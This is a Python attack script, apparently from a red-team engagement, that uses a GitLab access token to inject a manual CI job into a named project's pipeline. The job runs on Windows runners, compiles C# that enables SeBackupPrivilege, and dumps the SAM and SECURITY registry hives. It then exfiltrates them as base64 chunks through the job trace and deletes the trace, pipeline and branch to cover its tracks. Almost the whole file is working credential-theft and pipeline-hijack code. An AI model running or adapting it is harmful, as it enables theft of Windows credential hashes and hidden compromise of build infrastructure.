#!/usr/bin/env python3
r"""F1c acquire SECURITY + SAM via P/Invoke RegSaveKeyEx with SeBackupPrivilege.

Bypass for the reg.exe READ_CONTROL block on SECURITY/SAM: reg save opens the key
with READ_CONTROL (denied on these hives' SACL) and runs with SeBackupPrivilege
disabled in the runner token. This job enables SeBackupPrivilege via
AdjustTokenPrivileges and calls RegSaveKeyExW directly (backup API, no READ_CONTROL
requirement, writes only the new hive file). SYSTEM hive already captured.

Read-only w.r.t. the registry (backup API does not modify it). No lsass, no VSS.
Staging + archive + base64 exfil via trace, cleanup in-job. Manual CI job on
star/backend, deploy tags. Cleanup after.
"""
import json, ssl, sys, time, urllib.request, urllib.parse, urllib.error
from pathlib import Path

CTX = ssl.create_default_context(); CTX.check_hostname = False; CTX.verify_mode = ssl.CERT_NONE
UA = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) ir-assessment-rt'}
D = Path('/root/ir-assessment/redteam/gitlab_multistackexpert_com')
BASE = 'https://gitlab.multistackexpert.com'
PID = 154
BRANCH = 'feat/credx-acquire3'
STAGE = 'C:\\Windows\\Temp\\credx3'
ARCHIVE = 'C:\\Windows\\Temp\\credx3.7z'

# Inline C#: privilege enable + RegSaveKeyExW. REG_LATEST_FORMAT = 1.
# Written to a .cs file on the host and compiled with Add-Type -Path, to avoid
# embedding a large here-string (with its own quotes/$) inside the CI YAML script.
CSHARP = r'''
using System;
using System.Runtime.InteropServices;
public class HiveSaver {
    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern bool OpenProcessToken(IntPtr h, uint acc, out IntPtr tok);
    [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
    public static extern bool LookupPrivilegeValue(string host, string name, out long luid);
    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern bool AdjustTokenPrivileges(IntPtr tok, bool dis, ref TokPriv1Luid nst, int len, IntPtr prev, IntPtr relen);
    [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
    public static extern int RegOpenKeyExW(UIntPtr hKey, string sub, int opt, uint sam, out IntPtr res);
    [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
    public static extern int RegSaveKeyExW(IntPtr hKey, string file, IntPtr sa, int flags);
    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern int RegCloseKey(IntPtr hKey);
    [DllImport("kernel32.dll")]
    public static extern IntPtr GetCurrentProcess();
    [StructLayout(LayoutKind.Sequential)] public struct TokPriv1Luid { public int Count; public long Luid; public int Attr; }
    public const uint TOKEN_ADJUST_PRIVILEGES = 0x20, TOKEN_QUERY = 0x8, SE_PRIVILEGE_ENABLED = 0x2, KEY_READ = 0x20019;
    public static readonly UIntPtr HKEY_LOCAL_MACHINE = new UIntPtr(0x80000002);
    public static string Save(string subkey, string file) {
        IntPtr tok;
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out tok)) return "OpenProcessToken fail " + Marshal.GetLastWin32Error();
        long luid; LookupPrivilegeValue(null, "SeBackupPrivilege", out luid);
        TokPriv1Luid tp; tp.Count = 1; tp.Luid = luid; tp.Attr = (int)SE_PRIVILEGE_ENABLED;
        if (!AdjustTokenPrivileges(tok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero)) return "AdjustToken fail " + Marshal.GetLastWin32Error();
        IntPtr hk; int rc = RegOpenKeyExW(HKEY_LOCAL_MACHINE, subkey, 0, KEY_READ, out hk);
        if (rc != 0) return "RegOpenKey(" + subkey + ") rc=" + rc;
        int sr = RegSaveKeyExW(hk, file, IntPtr.Zero, 1);
        RegCloseKey(hk);
        return "RegSaveKeyEx(" + subkey + ") rc=" + sr;
    }
}
'''

PS = [
    # stage + compile the helper
    f'Write-Output "=== STAGE/COMPILE ==="; New-Item -ItemType Directory -Path "{STAGE}" -Force -ErrorAction SilentlyContinue | Out-Null; Add-Type -TypeDefinition @\'\n{CSHARP}\n\'@ -ReferencedAssemblies "System" -ErrorAction Stop; Write-Output "compiled"',
    # save SECURITY + SAM
    f'Write-Output "=== SAVE ==="; Write-Output ([HiveSaver]::Save("SECURITY", "{STAGE}\\SECURITY")); Write-Output ([HiveSaver]::Save("SAM", "{STAGE}\\SAM")); Get-ChildItem "{STAGE}" -ErrorAction SilentlyContinue | Select-Object Name,Length | Format-Table -AutoSize',
    # compress
    f'Write-Output "=== COMPRESS ==="; $7z = "C:\\Program Files\\7-Zip\\7z.exe"; if ((Get-ChildItem "{STAGE}" -ErrorAction SilentlyContinue).Count -gt 0) {{ & $7z a -t7z "{ARCHIVE}" "{STAGE}\\*" -mx=5 | Out-Null; Write-Output ("archive=" + (Get-Item "{ARCHIVE}").Length + " bytes") }} else {{ Write-Output "archive=EMPTY" }}',
    # exfil
    f'Write-Output "=== EXFIL ==="; if (Test-Path "{ARCHIVE}") {{ $b64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes("{ARCHIVE}")); Write-Output ("B64LEN=" + $b64.Length); $chunk=60000; for ($i=0; $i -lt $b64.Length; $i+=$chunk) {{ $len=[Math]::Min($chunk, $b64.Length-$i); Write-Output ("B64CHUNK|" + $i + "|" + $b64.Substring($i,$len)) }}; Write-Output "B64END" }}',
    # cleanup
    f'Write-Output "=== CLEANUP ==="; Remove-Item "{STAGE}" -Recurse -Force -ErrorAction SilentlyContinue; Remove-Item "{ARCHIVE}" -Force -ErrorAction SilentlyContinue; Write-Output ("stage_left=" + (Test-Path "{STAGE}"))',
]

def req(url, method='GET', data=None, headers=None):
    tok = (D / '.token').read_text().strip()
    h = dict(UA, **{'PRIVATE-TOKEN': tok}); h.update(headers or {})
    r = urllib.request.Request(url, data=data, headers=h, method=method)
    try:
        with urllib.request.urlopen(r, timeout=25, context=CTX) as resp:
            return resp.status, resp.read().decode('utf-8','ignore')
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode('utf-8','ignore')
    except Exception as e:
        return 0, f'{type(e).__name__}: {e}'

def build_ci_yaml():
    st, orig = req(f'{BASE}/api/v4/projects/{PID}/repository/files/{urllib.parse.quote(".gitlab-ci.yml", safe="")}/raw?ref=develop')
    assert st == 200, f'fetch ci: {st}'
    # PS payload: write CSHARP to a file (base64 to dodge all quoting), Add-Type it,
    # then save SECURITY+SAM, compress, exfil, cleanup. Simple single-line commands.
    import base64 as _b64
    cs_b64 = _b64.b64encode(CSHARP.encode('utf-8')).decode()
    ps = [
        f'New-Item -ItemType Directory -Path "{STAGE}" -Force -ErrorAction SilentlyContinue | Out-Null; [IO.File]::WriteAllText("{STAGE}\\HiveSaver.cs", [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("{cs_b64}"))); Add-Type -Path "{STAGE}\\HiveSaver.cs" -ReferencedAssemblies "System" -ErrorAction Stop; Write-Output "compiled"',
        f'Write-Output ([HiveSaver]::Save("SECURITY", "{STAGE}\\SECURITY")); Write-Output ([HiveSaver]::Save("SAM", "{STAGE}\\SAM")); Get-ChildItem "{STAGE}" -ErrorAction SilentlyContinue | Select-Object Name,Length | Format-Table -AutoSize',
        f'$7z = "C:\\Program Files\\7-Zip\\7z.exe"; & $7z a -t7z "{ARCHIVE}" "{STAGE}\\SECURITY" "{STAGE}\\SAM" -mx=5 | Out-Null; if (Test-Path "{ARCHIVE}") {{ Write-Output ("archive=" + (Get-Item "{ARCHIVE}").Length + " bytes") }} else {{ Write-Output "archive=EMPTY" }}',
        f'if (Test-Path "{ARCHIVE}") {{ $b64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes("{ARCHIVE}")); Write-Output ("B64LEN=" + $b64.Length); $chunk=60000; for ($i=0; $i -lt $b64.Length; $i+=$chunk) {{ $len=[Math]::Min($chunk, $b64.Length-$i); Write-Output ("B64CHUNK|" + $i + "|" + $b64.Substring($i,$len)) }}; Write-Output "B64END" }}',
        f'Remove-Item "{STAGE}" -Recurse -Force -ErrorAction SilentlyContinue; Remove-Item "{ARCHIVE}" -Force -ErrorAction SilentlyContinue; Write-Output ("stage_left=" + (Test-Path "{STAGE}"))',
    ]
    script_lines = '\n'.join(f'      {l}' for l in ps)
    return orig.rstrip() + f'''
credx_acquire3:
  stage: build_and_deploy
  tags: ["2019", appro, docker, star, windows]
  when: manual
  allow_failure: true
  script: |
{script_lines}
  rules:
    - if: '$CI_COMMIT_BRANCH == "{BRANCH}"'
      when: manual
'''

def main():
    if '--execute' not in sys.argv:
        print('STAGED ONLY. Re-run with --execute after operator go.')
        return
    run()

def run():
    log = []
    def L(m):
        line = f'[{time.strftime("%H:%M:%S")}] {m}'
        print(line, flush=True); log.append(line)
    st, b = req(f'{BASE}/api/v4/projects/{PID}/repository/branches', method='POST',
                data=urllib.parse.urlencode({'branch': BRANCH, 'ref': 'develop'}).encode(),
                headers={'Content-Type': 'application/x-www-form-urlencoded'})
    L(f'branch: {st}')
    if st == 401:
        raise SystemExit('token expired — refresh .token and rerun')
    yml = build_ci_yaml()
    payload = {'branch': BRANCH, 'commit_message': 'ci: add credx acquire3',
               'actions': [{'action': 'update', 'file_path': '.gitlab-ci.yml', 'content': yml}]}
    st, b = req(f'{BASE}/api/v4/projects/{PID}/repository/commits', method='POST',
                data=json.dumps(payload).encode(), headers={'Content-Type': 'application/json'})
    L(f'commit: {st}')
    st, b = req(f'{BASE}/api/v4/projects/{PID}/pipeline', method='POST',
                data=urllib.parse.urlencode({'ref': BRANCH}).encode(),
                headers={'Content-Type': 'application/x-www-form-urlencoded'})
    pipe_id = json.loads(b)['id']; L(f'pipeline: {pipe_id}')
    job_id = None
    for _ in range(20):
        st, b = req(f'{BASE}/api/v4/projects/{PID}/pipelines/{pipe_id}/jobs')
        if st == 200:
            for j in json.loads(b):
                if j.get('name') == 'credx_acquire3':
                    job_id = j['id']; break
        if job_id: break
        time.sleep(5)
    for _ in range(20):
        st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}')
        if json.loads(b).get('status') == 'manual': break
        time.sleep(3)
    st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/play', method='POST')
    L(f'play: {st}')
    status = 'unknown'
    for i in range(120):
        st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}')
        j = json.loads(b); status = j.get('status')
        if i % 6 == 0 or status in ('success','failed','canceled'):
            L(f'status={status} dur={j.get("duration")}')
        if status in ('success','failed','canceled'): break
        time.sleep(10)
    st, trace = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/trace')
    L(f'trace: {st} len={len(trace)}')
    (D / 'credx_acquire3_trace.txt').write_text(trace)
    (D / 'credx_acquire3_run.log').write_text('\n'.join(log))
    req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/trace', method='DELETE')
    req(f'{BASE}/api/v4/projects/{PID}/pipelines/{pipe_id}', method='DELETE')
    req(f'{BASE}/api/v4/projects/{PID}/repository/branches/{urllib.parse.quote(BRANCH, safe="")}', method='DELETE')
    L('cleanup done')
    import base64, re
    chunks = re.findall(r'B64CHUNK\|(\d+)\|([A-Za-z0-9+/=]+)', trace)
    if chunks:
        chunks.sort(key=lambda x: int(x[0]))
        data = base64.b64decode(''.join(c[1] for c in chunks))
        out = D / 'credx_loot3.7z'
        out.write_bytes(data)
        print(f'REASSEMBLED {len(data)} bytes -> {out}')
    print('\n===== TRACE (head) =====')
    print(trace[:3000])

if __name__ == '__main__':
    main()
